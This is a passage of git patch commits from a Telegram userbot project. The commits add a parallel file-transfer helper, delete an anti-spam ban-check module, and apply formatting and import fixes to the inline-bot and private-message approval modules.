+ await self._create_upload_sender(file_id, part_count, big, 0, connections), + *await asyncio.gather( + *[self._create_upload_sender(file_id, part_count, big, i, connections) + for i in range(1, connections)]) + ] + + async def _create_upload_sender(self, file_id: int, part_count: int, big: bool, index: int, + stride: int) -> UploadSender: + return UploadSender(await self._create_sender(), file_id, part_count, big, index, stride, + loop=self.loop) + + async def _create_sender(self) -> MTProtoSender: + dc = await self.client._get_dc(self.dc_id) + sender = MTProtoSender(self.auth_key, loggers=self.client._log) + await sender.connect(self.client._connection(dc.ip_address, dc.port, dc.id, + loggers=self.client._log, + proxy=self.client._proxy)) + if not self.auth_key: + log.debug(f"Exporting auth to DC {self.dc_id}") + auth = await self.client(ExportAuthorizationRequest(self.dc_id)) + req = self.client._init_with(ImportAuthorizationRequest( + id=auth.id, bytes=auth.bytes + )) + await sender.send(req) + self.auth_key = sender.auth_key + return sender + + async def init_upload(self, file_id: int, file_size: int, part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None) -> Tuple[int, int, bool]: + connection_count = connection_count or self._get_connection_count(file_size) + print("init_upload count is ", connection_count) + part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 + part_count = (file_size + part_size - 1) // part_size + is_large = file_size > 10 * 1024 * 1024 + await self._init_upload(connection_count, file_id, part_count, is_large) + return part_size, part_count, is_large + + async def upload(self, part: bytes) -> None: + await self.senders[self.upload_ticker].next(part) + self.upload_ticker = (self.upload_ticker + 1) % len(self.senders) + + async def finish_upload(self) -> None: + await self._cleanup() + + async def download(self, file: TypeLocation, file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None) -> AsyncGenerator[bytes, None]: + connection_count = connection_count or self._get_connection_count(file_size) + print("download count is ", connection_count) + + part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 + part_count = math.ceil(file_size / part_size) + log.debug("Starting parallel download: " + f"{connection_count} {part_size} {part_count} {file!s}") + await self._init_download(connection_count, file, part_count, part_size) + + part = 0 + while part < part_count: + tasks = [] + for sender in self.senders: + tasks.append(self.loop.create_task(sender.next())) + for task in tasks: + data = await task + if not data: + break + yield data + part += 1 + log.debug(f"Part {part} downloaded") + + log.debug("Parallel download finished, cleaning up connections") + await self._cleanup() + + +parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict(lambda: asyncio.Lock()) + + +async def _internal_transfer_to_telegram(client: TelegramClient, + response: BinaryIO, + progress_callback: callable + ) -> Tuple[TypeInputFile, int]: + file_id = helpers.generate_random_long() + file_size = os.path.getsize(response.name) + + hash_md5 = hashlib.md5() + uploader = ParallelTransferrer(client) + part_size, part_count, is_large = await uploader.init_upload(file_id, file_size) + buffer = bytearray() + for data in stream_file(response): + if progress_callback: + r = progress_callback(response.tell(), file_size) + if inspect.isawaitable(r): + await r + if not is_large: + hash_md5.update(data) + if len(buffer) == 0 and len(data) == part_size: + await uploader.upload(data) + continue + new_len = len(buffer) + len(data) + if new_len >= part_size: + cutoff = part_size - len(buffer) + buffer.extend(data[:cutoff]) + await uploader.upload(bytes(buffer)) + buffer.clear() + buffer.extend(data[cutoff:]) + else: + buffer.extend(data) + if len(buffer) > 0: + await uploader.upload(bytes(buffer)) + await uploader.finish_upload() + if is_large: + return InputFileBig(file_id, part_count, "upload"), file_size + else: + return InputFile(file_id, part_count, "upload", hash_md5.hexdigest()), file_size + + +async def download_file(client: TelegramClient, + location: TypeLocation, + out: BinaryIO, + progress_callback: callable = None + ) -> BinaryIO: + size = location.size + dc_id, location = utils.get_input_location(location) + # We lock the transfers because telegram has connection count limits + downloader = ParallelTransferrer(client, dc_id) + downloaded = downloader.download(location, size) + async for x in downloaded: + out.write(x) + if progress_callback: + r = progress_callback(out.tell(), size) + if inspect.isawaitable(r): + await r + + return out + + +async def upload_file(client: TelegramClient, + file: BinaryIO, + progress_callback: callable = None, + + ) -> TypeInputFile: + res = (await _internal_transfer_to_telegram(client, file, progress_callback))[0] + return res From 4fe03d2bcd34d51c74cf993c2e40897568a4b4a4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:21:09 +0530 Subject: [PATCH 776/838] Delete spam.py --- virtualuserbot/modules/spam.py | 203 --------------------------------- 1 file changed, 203 deletions(-) delete mode 100644 virtualuserbot/modules/spam.py diff --git a/virtualuserbot/modules/spam.py b/virtualuserbot/modules/spam.py deleted file mode 100644 index dd85f7ce..00000000 --- a/virtualuserbot/modules/spam.py +++ /dev/null @@ -1,203 +0,0 @@ -# Copyright (C) 2020 sandeep.n(π.$) -# baning spmmers plugin for catuserbot by @sandy1709 and @mrconfused -# included both cas(combot antispam service) and spamwatch (need to add more feaututres) - -import spamwatch -from requests import get -from telethon import events -from telethon.errors import ChatAdminRequiredError -from telethon.tl.types import ChannelParticipantsAdmins - -from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS -from virtualuserbot.modules.sql_helper.gban_sql_helper import get_gbanuser, is_gbanned - -from ..utils import admin_cmd, edit_or_reply, is_admin, sudo_cmd - -if Config.ANTISPAMBOT_BAN: - - @bot.on(events.ChatAction()) - async def anti_spambot(event): - if not event.user_joined and not event.user_added: - return - chat = event.chat_id - user = await event.get_user() - catadmin = await is_admin(bot, chat, bot.uid) - if not catadmin: - return - catbanned = None - adder = None - ignore = None - if event.user_added: - try: - adder = event.action_message.sender_id - except AttributeError: - return - async for admin in event.client.iter_participants( - event.chat_id, filter=ChannelParticipantsAdmins - ): - if admin.id == adder: - ignore = True - break - if ignore: - return - if is_gbanned(user.id): - catgban = get_gbanuser(user.id) - if catgban.reason: - hmm = await event.reply( - f"[{user.first_name}](tg://user?id={user.id}) was gbanned by you for the reason `{catgban.reason}`" - ) - else: - hmm = await event.reply( - f"[{user.first_name}](tg://user?id={user.id}) was gbanned by you" - ) - try: - await bot.edit_permissions(chat, user.id, view_messages=False) - catbanned = True - except Exception as e: - LOGS.info(e) - if spamwatch and not catbanned: - ban = spamwatch.get_ban(user.id) - if ban: - hmm = await event.reply( - f"[{user.first_name}](tg://user?id={user.id}) was banned by spamwatch for the reason `{ban.reason}`" - ) - try: - await bot.edit_permissions(chat, user.id, view_messages=False) - catbanned = True - except Exception as e: - LOGS.info(e) - if not catbanned: - try: - casurl = "https://api.cas.chat/check?user_id={}".format(user.id) - data = get(casurl).json() - except Exception as e: - LOGS.info(e) - data = None - if data and data["ok"]: - reason = ( - f"[Banned by Combot Anti Spam](https://cas.chat/query?u={user.id})" - ) - hmm = await event.reply( - f"[{user.first_name}](tg://user?id={user.id}) was banned by Combat anti-spam service(CAS) for the reason check {reason}" - ) - try: - await bot.edit_permissions(chat, user.id, view_messages=False) - catbanned = True - except Exception as e: - LOGS.info(e) - if BOTLOG and catbanned: - await event.client.send_message( - BOTLOG_CHATID, - "#ANTISPAMBOT\n" - f"**User :** [{user.first_name}](tg://user?id={user.id})\n" - f"**Chat :** {event.chat.title} (`{event.chat_id}`)\n" - f"**Reason :** {hmm.text}", - ) - - -@bot.on(admin_cmd(pattern="cascheck$")) -@bot.on(sudo_cmd(pattern="cascheck$", allow_sudo=True)) -async def caschecker(cas): - catevent = await edit_or_reply( - cas, - "`checking any cas(combot antispam service) banned users here, this may take several minutes too......`", - ) - text = "" - chat = cas.chat_id - try: - info = await cas.client.get_entity(chat) - except (TypeError, ValueError) as err: - await cas.edit(str(err)) - return - try: - cas_count, members_count = (0,) * 2 - banned_users = "" - async for user in cas.client.iter_participants(info.id): - if banchecker(user.id): - cas_count += 1 - if not user.deleted: - banned_users += f"{user.first_name}-`{user.id}`\n" - else: - banned_users += f"Deleted Account `{user.id}`\n" - members_count += 1 - text = "**Warning!** Found `{}` of `{}` users are CAS Banned:\n".format( - cas_count, members_count - ) - text += banned_users - if not cas_count: - text = "No CAS Banned users found!" - except ChatAdminRequiredError as carerr: - await catevent.edit("`CAS check failed: Admin privileges are required`") - return - except BaseException as be: - await catevent.edit("`CAS check failed`") - return - await catevent.edit(text) - - -@bot.on(admin_cmd(pattern="spamcheck$")) -@bot.on(sudo_cmd(pattern="spamcheck$", allow_sudo=True)) -async def caschecker(cas): - text = "" - chat = cas.chat_id - catevent = await edit_or_reply( - cas, - "`checking any spamwatch banned users here, this may take several minutes too......`", - ) - try: - info = await cas.client.get_entity(chat) - except (TypeError, ValueError) as err: - await cas.edit(str(err)) - return - try: - cas_count, members_count = (0,) * 2 - banned_users = "" - async for user in cas.client.iter_participants(info.id): - if spamchecker(user.id): - cas_count += 1 - if not user.deleted: - banned_users += f"{user.first_name}-`{user.id}`\n" - else: - banned_users += f"Deleted Account `{user.id}`\n" - members_count += 1 - text = "**Warning! **Found `{}` of `{}` users are spamwatch Banned:\n".format( - cas_count, members_count - ) - text += banned_users - if not cas_count: - text = "No spamwatch Banned users found!" - except ChatAdminRequiredError as carerr: - await catevent.edit("`spamwatch check failed: Admin privileges are required`") - return - except BaseException as be: - await catevent.edit("`spamwatch check failed`") - return - await catevent.edit(text) - - -def banchecker(user_id): - try: - casurl = "https://api.cas.chat/check?user_id={}".format(user_id) - data = get(casurl).json() - except Exception as e: - LOGS.info(e) - data = None - return bool(data and data["ok"]) - - -def spamchecker(user_id): - ban = None - if spamwatch: - ban = spamwatch.get_ban(user_id) - return bool(ban) - - -CMD_HELP.update( - { - "antispambot": "**Plugin : **`antispambot`\ - \n\n**Syntax : **`.cascheck`\ - \n**Function : **__Searches for cas(combot antispam service) banned users in group and shows you the list__\ - \n\n**Syntax : **`.spamcheck`\ - \n**Function : **__Searches for spamwatch banned users in group and shows you the list__" - } -) From a25125eddcd87dcf38633f62e304e914103abf75 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:24:53 +0530 Subject: [PATCH 777/838] oops typo --- virtualuserbot/modules/pmpermit.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/virtualuserbot/modules/pmpermit.py b/virtualuserbot/modules/pmpermit.py index d6a0b067..93517bc0 100644 --- a/virtualuserbot/modules/pmpermit.py +++ b/virtualuserbot/modules/pmpermit.py @@ -43,7 +43,8 @@ f"`My Master {DEFAULTUSER} is Busy Right Now !` \n" "**I Request You To Choose A Reason You Have Came For** 👀 \n\n" f"**{CUSTOM_MIDDLE_PMP}**" -)if PM_ON_OFF != "DISABLE": +) +if PM_ON_OFF != "DISABLE": @borg.on(events.NewMessage(outgoing=True)) async def auto_approve_for_out_going(event): if event.fwd_from: From e92f7243a4c93a8b82eb50c22cc81bd1f6ca0290 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 26 Jan 2021 18:55:54 +0000 Subject: [PATCH 778/838] pylint: auto fixes --- virtualuserbot/function/FastTelethon.py | 238 +++++++++++++++++------- virtualuserbot/modules/_inlinebot.py | 49 +++-- virtualuserbot/modules/pmpermit.py | 66 ++++--- 3 files changed, 235 insertions(+), 118 deletions(-) diff --git a/virtualuserbot/function/FastTelethon.py b/virtualuserbot/function/FastTelethon.py index 098f6644..e172d598 100644 --- a/virtualuserbot/function/FastTelethon.py +++ b/virtualuserbot/function/FastTelethon.py @@ -6,25 +6,52 @@ import hashlib import inspect import logging +import math import os from collections import defaultdict -from typing import Optional, List, AsyncGenerator, Union, Awaitable, DefaultDict, Tuple, BinaryIO - -import math -from telethon import utils, helpers, TelegramClient +from typing import ( + AsyncGenerator, + Awaitable, + BinaryIO, + DefaultDict, + List, + Optional, + Tuple, + Union, +) + +from telethon import TelegramClient, helpers, utils from telethon.crypto import AuthKey from telethon.network import MTProtoSender -from telethon.tl.functions.auth import ExportAuthorizationRequest, ImportAuthorizationRequest -from telethon.tl.functions.upload import (GetFileRequest, SaveFilePartRequest, - SaveBigFilePartRequest) -from telethon.tl.types import (Document, InputFileLocation, InputDocumentFileLocation, - InputPhotoFileLocation, InputPeerPhotoFileLocation, TypeInputFile, - InputFileBig, InputFile) +from telethon.tl.functions.auth import ( + ExportAuthorizationRequest, + ImportAuthorizationRequest, +) +from telethon.tl.functions.upload import ( + GetFileRequest, + SaveBigFilePartRequest, + SaveFilePartRequest, +) +from telethon.tl.types import ( + Document, + InputDocumentFileLocation, + InputFile, + InputFileBig, + InputFileLocation, + InputPeerPhotoFileLocation, + InputPhotoFileLocation, + TypeInputFile, +) log: logging.Logger = logging.getLogger("telethon") logging.basicConfig(level=logging.WARNING) -TypeLocation = Union[Document, InputDocumentFileLocation, InputPeerPhotoFileLocation, - InputFileLocation, InputPhotoFileLocation] +TypeLocation = Union[ + Document, + InputDocumentFileLocation, + InputPeerPhotoFileLocation, + InputFileLocation, + InputPhotoFileLocation, +] def stream_file(file_to_stream: BinaryIO, chunk_size=1024): @@ -41,8 +68,15 @@ class DownloadSender: remaining: int stride: int - def __init__(self, sender: MTProtoSender, file: TypeLocation, offset: int, limit: int, - stride: int, count: int) -> None: + def __init__( + self, + sender: MTProtoSender, + file: TypeLocation, + offset: int, + limit: int, + stride: int, + count: int, + ) -> None: self.sender = sender self.request = GetFileRequest(file, offset=offset, limit=limit) self.stride = stride @@ -68,8 +102,16 @@ class UploadSender: previous: Optional[asyncio.Task] loop: asyncio.AbstractEventLoop - def __init__(self, sender: MTProtoSender, file_id: int, part_count: int, big: bool, index: int, - stride: int, loop: asyncio.AbstractEventLoop) -> None: + def __init__( + self, + sender: MTProtoSender, + file_id: int, + part_count: int, + big: bool, + index: int, + stride: int, + loop: asyncio.AbstractEventLoop, + ) -> None: self.sender = sender self.part_count = part_count if big: @@ -87,8 +129,10 @@ async def next(self, data: bytes) -> None: async def _next(self, data: bytes) -> None: self.request.bytes = data - log.debug(f"Sending file part {self.request.file_part}/{self.part_count}" - f" with {len(data)} bytes") + log.debug( + f"Sending file part {self.request.file_part}/{self.part_count}" + f" with {len(data)} bytes" + ) await self.sender.send(self.request) self.request.file_part += self.stride @@ -110,8 +154,11 @@ def __init__(self, client: TelegramClient, dc_id: Optional[int] = None) -> None: self.client = client self.loop = self.client.loop self.dc_id = dc_id or self.client.session.dc_id - self.auth_key = (None if dc_id and self.client.session.dc_id != dc_id - else self.client.session.auth_key) + self.auth_key = ( + None + if dc_id and self.client.session.dc_id != dc_id + else self.client.session.auth_key + ) self.senders = None self.upload_ticker = 0 @@ -120,14 +167,16 @@ async def _cleanup(self) -> None: self.senders = None @staticmethod - def _get_connection_count(file_size: int, max_count: int = 20, - full_size: int = 100 * 1024 * 1024) -> int: + def _get_connection_count( + file_size: int, max_count: int = 20, full_size: int = 100 * 1024 * 1024 + ) -> int: if file_size > full_size: return max_count return math.ceil((file_size / full_size) * max_count) - async def _init_download(self, connections: int, file: TypeLocation, part_count: int, - part_size: int) -> None: + async def _init_download( + self, connections: int, file: TypeLocation, part_count: int, part_size: int + ) -> None: minimum, remainder = divmod(part_count, connections) def get_part_count() -> int: @@ -140,52 +189,91 @@ def get_part_count() -> int: # The first cross-DC sender will export+import the authorization, so we always create it # before creating any other senders. self.senders = [ - await self._create_download_sender(file, 0, part_size, connections * part_size, - get_part_count()), + await self._create_download_sender( + file, 0, part_size, connections * part_size, get_part_count() + ), *await asyncio.gather( - *[self._create_download_sender(file, i, part_size, connections * part_size, - get_part_count()) - for i in range(1, connections)]) + *[ + self._create_download_sender( + file, i, part_size, connections * part_size, get_part_count() + ) + for i in range(1, connections) + ] + ), ] - async def _create_download_sender(self, file: TypeLocation, index: int, part_size: int, - stride: int, - part_count: int) -> DownloadSender: - return DownloadSender(await self._create_sender(), file, index * part_size, part_size, - stride, part_count) - - async def _init_upload(self, connections: int, file_id: int, part_count: int, big: bool - ) -> None: + async def _create_download_sender( + self, + file: TypeLocation, + index: int, + part_size: int, + stride: int, + part_count: int, + ) -> DownloadSender: + return DownloadSender( + await self._create_sender(), + file, + index * part_size, + part_size, + stride, + part_count, + ) + + async def _init_upload( + self, connections: int, file_id: int, part_count: int, big: bool + ) -> None: self.senders = [ await self._create_upload_sender(file_id, part_count, big, 0, connections), *await asyncio.gather( - *[self._create_upload_sender(file_id, part_count, big, i, connections) - for i in range(1, connections)]) + *[ + self._create_upload_sender(file_id, part_count, big, i, connections) + for i in range(1, connections) + ] + ), ] - async def _create_upload_sender(self, file_id: int, part_count: int, big: bool, index: int, - stride: int) -> UploadSender: - return UploadSender(await self._create_sender(), file_id, part_count, big, index, stride, - loop=self.loop) + async def _create_upload_sender( + self, file_id: int, part_count: int, big: bool, index: int, stride: int + ) -> UploadSender: + return UploadSender( + await self._create_sender(), + file_id, + part_count, + big, + index, + stride, + loop=self.loop, + ) async def _create_sender(self) -> MTProtoSender: dc = await self.client._get_dc(self.dc_id) sender = MTProtoSender(self.auth_key, loggers=self.client._log) - await sender.connect(self.client._connection(dc.ip_address, dc.port, dc.id, - loggers=self.client._log, - proxy=self.client._proxy)) + await sender.connect( + self.client._connection( + dc.ip_address, + dc.port, + dc.id, + loggers=self.client._log, + proxy=self.client._proxy, + ) + ) if not self.auth_key: log.debug(f"Exporting auth to DC {self.dc_id}") auth = await self.client(ExportAuthorizationRequest(self.dc_id)) - req = self.client._init_with(ImportAuthorizationRequest( - id=auth.id, bytes=auth.bytes - )) + req = self.client._init_with( + ImportAuthorizationRequest(id=auth.id, bytes=auth.bytes) + ) await sender.send(req) self.auth_key = sender.auth_key return sender - async def init_upload(self, file_id: int, file_size: int, part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None) -> Tuple[int, int, bool]: + async def init_upload( + self, + file_id: int, + file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None, + ) -> Tuple[int, int, bool]: connection_count = connection_count or self._get_connection_count(file_size) print("init_upload count is ", connection_count) part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 @@ -201,16 +289,22 @@ async def upload(self, part: bytes) -> None: async def finish_upload(self) -> None: await self._cleanup() - async def download(self, file: TypeLocation, file_size: int, - part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None) -> AsyncGenerator[bytes, None]: + async def download( + self, + file: TypeLocation, + file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None, + ) -> AsyncGenerator[bytes, None]: connection_count = connection_count or self._get_connection_count(file_size) print("download count is ", connection_count) part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 part_count = math.ceil(file_size / part_size) - log.debug("Starting parallel download: " - f"{connection_count} {part_size} {part_count} {file!s}") + log.debug( + "Starting parallel download: " + f"{connection_count} {part_size} {part_count} {file!s}" + ) await self._init_download(connection_count, file, part_count, part_size) part = 0 @@ -230,13 +324,14 @@ async def download(self, file: TypeLocation, file_size: int, await self._cleanup() -parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict(lambda: asyncio.Lock()) +parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict( + lambda: asyncio.Lock() +) -async def _internal_transfer_to_telegram(client: TelegramClient, - response: BinaryIO, - progress_callback: callable - ) -> Tuple[TypeInputFile, int]: +async def _internal_transfer_to_telegram( + client: TelegramClient, response: BinaryIO, progress_callback: callable +) -> Tuple[TypeInputFile, int]: file_id = helpers.generate_random_long() file_size = os.path.getsize(response.name) @@ -272,11 +367,12 @@ async def _internal_transfer_to_telegram(client: TelegramClient, return InputFile(file_id, part_count, "upload", hash_md5.hexdigest()), file_size -async def download_file(client: TelegramClient, - location: TypeLocation, - out: BinaryIO, - progress_callback: callable = None - ) -> BinaryIO: +async def download_file( + client: TelegramClient, + location: TypeLocation, + out: BinaryIO, + progress_callback: callable = None, +) -> BinaryIO: size = location.size dc_id, location = utils.get_input_location(location) # We lock the transfers because telegram has connection count limits @@ -292,10 +388,10 @@ async def download_file(client: TelegramClient, return out -async def upload_file(client: TelegramClient, - file: BinaryIO, - progress_callback: callable = None, - - ) -> TypeInputFile: +async def upload_file( + client: TelegramClient, + file: BinaryIO, + progress_callback: callable = None, +) -> TypeInputFile: res = (await _internal_transfer_to_telegram(client, file, progress_callback))[0] return res diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index 9be65cf2..576d1470 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -1,21 +1,20 @@ import os import re import urllib -import json from math import ceil from re import findall -from youtube_search import YoutubeSearch -from search_engine_parser import GoogleSearch -from virtualuserbot.function import _ytdl, fetch_json from urllib.parse import quote + import requests +from pornhub_api import PornhubApi +from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions -from youtubesearchpython import VideosSearch +from telethon.tl.types import InputWebDocument +from youtube_search import YoutubeSearch + from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST +from virtualuserbot.function import _ytdl from virtualuserbot.modules import inlinestats -from pornhub_api import PornhubApi -from telethon.tl.types import BotInlineResult, InputBotInlineMessageMediaAuto, DocumentAttributeImageSize, InputWebDocument, InputBotInlineResult -from telethon.tl.functions.messages import SetInlineBotResultsRequest PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: @@ -861,8 +860,8 @@ async def inline_id_handler(event: events.InlineQuery.Event): else: resultm = builder.article(title="- No Results :/ -", text=f"No Results Found !") await event.answer([resultm]) - - + + @tgbot.on(events.InlineQuery(pattern=r"deezer ?(.*)")) async def inline_id_handler(event): builder = event.builder @@ -877,24 +876,24 @@ async def inline_id_handler(event): input_str = event.pattern_match.group(1) link = f"https://api.deezer.com/search?q={input_str}&limit=7" dato = requests.get(url=link).json() - #data_s = json.loads(data_s) + # data_s = json.loads(data_s) for match in dato.get("data"): - hmm_m = (f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}") - results.append( - await event.builder.article( - title=match["title"], - text=hmm_m, - description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", - thumb=InputWebDocument( - url=match["album"]["cover_medium"], - size=0, - mime_type="image/jpeg", - attributes=[], - ), + hmm_m = f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}" + results.append( + await event.builder.article( + title=match["title"], + text=hmm_m, + description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", + thumb=InputWebDocument( + url=match["album"]["cover_medium"], + size=0, + mime_type="image/jpeg", + attributes=[], ), - ) + ), + ) if results: try: await event.answer(results) except TypeError: - pass + pass diff --git a/virtualuserbot/modules/pmpermit.py b/virtualuserbot/modules/pmpermit.py index 93517bc0..541e23ec 100644 --- a/virtualuserbot/modules/pmpermit.py +++ b/virtualuserbot/modules/pmpermit.py @@ -45,6 +45,7 @@ f"**{CUSTOM_MIDDLE_PMP}**" ) if PM_ON_OFF != "DISABLE": + @borg.on(events.NewMessage(outgoing=True)) async def auto_approve_for_out_going(event): if event.fwd_from: @@ -65,17 +66,21 @@ async def auto_approve_for_out_going(event): if not pmpermit_sql.is_approved(event.chat_id): if not event.chat_id in PM_WARNS: pmpermit_sql.approve(event.chat_id, "outgoing") - bruh = "AutoApproved [{}](tg://user?id={}) Due To Out Going Message !".format(first_name, event.chat_id) + bruh = "AutoApproved [{}](tg://user?id={}) Due To Out Going Message !".format( + first_name, event.chat_id + ) rko = await borg.send_message(event.chat_id, bruh) await asyncio.sleep(3) - await rko.delete() + await rko.delete() @borg.on(friday_on_cmd(pattern="(a|approve)$")) async def approve(event): if event.fwd_from: return if event.is_private: - replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) + replied_user = await event.client( + GetFullUserRequest(await event.get_input_chat()) + ) firstname = replied_user.user.first_name if not pmpermit_sql.is_approved(event.chat_id): if event.chat_id in PM_WARNS: @@ -85,42 +90,50 @@ async def approve(event): del PREV_REPLY_MESSAGE[event.chat_id] pmpermit_sql.approve(event.chat_id, "Approved Another Nibba") await event.edit( - "Approved to pm [{}](tg://user?id={})".format(firstname, event.chat_id) + "Approved to pm [{}](tg://user?id={})".format( + firstname, event.chat_id + ) ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(event.chat_id): - sed = await event.edit('`This User Already Approved.`') + sed = await event.edit("`This User Already Approved.`") await asyncio.sleep(3) await sed.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit('`Reply To User To Approve Him !`') + await event.edit("`Reply To User To Approve Him !`") return if not pmpermit_sql.is_approved(reply_s.sender_id): replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.approve(reply_s.sender_id, "Approved Another Nibba") await event.edit( - "Approved to pm [{}](tg://user?id={})".format(firstname, reply_s.sender_id) + "Approved to pm [{}](tg://user?id={})".format( + firstname, reply_s.sender_id ) + ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit('`User Already Approved !`') + await event.edit("`User Already Approved !`") await event.delete() - + @borg.on(friday_on_cmd(pattern="block$")) async def approve_p_m(event): if event.fwd_from: return - replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) + replied_user = await event.client( + GetFullUserRequest(await event.get_input_chat()) + ) firstname = replied_user.user.first_name if event.is_private: if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) - await event.edit("Blocked [{}](tg://user?id={})".format(firstname, event.chat_id)) + await event.edit( + "Blocked [{}](tg://user?id={})".format(firstname, event.chat_id) + ) await borg(functions.contacts.BlockRequest(event.chat_id)) @borg.on(friday_on_cmd(pattern="(da|disapprove)$")) @@ -128,38 +141,45 @@ async def dapprove(event): if event.fwd_from: return if event.is_private: - replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) + replied_user = await event.client( + GetFullUserRequest(await event.get_input_chat()) + ) firstname = replied_user.user.first_name if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format(firstname, event.chat_id) + "Disapproved User [{}](tg://user?id={})".format( + firstname, event.chat_id + ) ) await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(event.chat_id): - led = await event.edit("`This User Is Not Even Approved To Disapprove !`") + led = await event.edit( + "`This User Is Not Even Approved To Disapprove !`" + ) await asyncio.sleep(3) await led.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit('`Reply To User To DisApprove Him !`') + await event.edit("`Reply To User To DisApprove Him !`") return if pmpermit_sql.is_approved(reply_s.sender_id): replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.disapprove(reply_s.sender_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format(firstname, reply_s.sender_id) + "Disapproved User [{}](tg://user?id={})".format( + firstname, reply_s.sender_id + ) ) await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit('`User Even Not Approved !`') - await event.delete() - - + await event.edit("`User Even Not Approved !`") + await event.delete() + @borg.on(friday_on_cmd(pattern="listapproved$")) async def approve_p_m(event): if event.fwd_from: @@ -196,7 +216,9 @@ async def on_new_private_message(event): if event.sender_id == bot.uid: return if Var.PRIVATE_GROUP_ID is None: - await borg.send_message(bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit") + await borg.send_message( + bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit" + ) return if not event.is_private: return @@ -224,7 +246,7 @@ async def on_new_private_message(event): return if not pmpermit_sql.is_approved(chat_ids): await do_pm_permit_action(chat_ids, event) - + async def do_pm_permit_action(chat_ids, event): if chat_ids not in PM_WARNS: PM_WARNS.update({chat_ids: 0}) From 9c4d57545066d00ede114d2545f8e974f8c31a44 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:28:30 +0530 Subject: [PATCH 779/838] oops --- virtualuserbot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index 576d1470..b51baf77 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -12,7 +12,7 @@ from telethon.tl.types import InputWebDocument from youtube_search import YoutubeSearch -from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST +from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang from virtualuserbot.function import _ytdl from virtualuserbot.modules import inlinestats From cef0f27f5a0a0f3952715e65bc1ef1ad77e16646 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:32:58 +0530 Subject: [PATCH 780/838] oops --- virtualuserbot/modules/reverseimg.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virtualuserbot/modules/reverseimg.py b/virtualuserbot/modules/reverseimg.py index 91d23f89..f3d96e9a 100644 --- a/virtualuserbot/modules/reverseimg.py +++ b/virtualuserbot/modules/reverseimg.py @@ -16,8 +16,8 @@ from bs4 import BeautifulSoup from PIL import Image -from virtualuserbot import CMD_HELP, bot, friday_on_cmd -from virtualuserbot.utils import errors_handler +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import errors_handler, friday_on_cmd opener = urllib.request.build_opener() useragent = "Mozilla/5.0 (Linux; Android 9; SM-G960F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36" From 011a36222f3305037eb3863bac4597725c75657b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:42:27 +0530 Subject: [PATCH 781/838] Update _inlinebot.py --- virtualuserbot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py 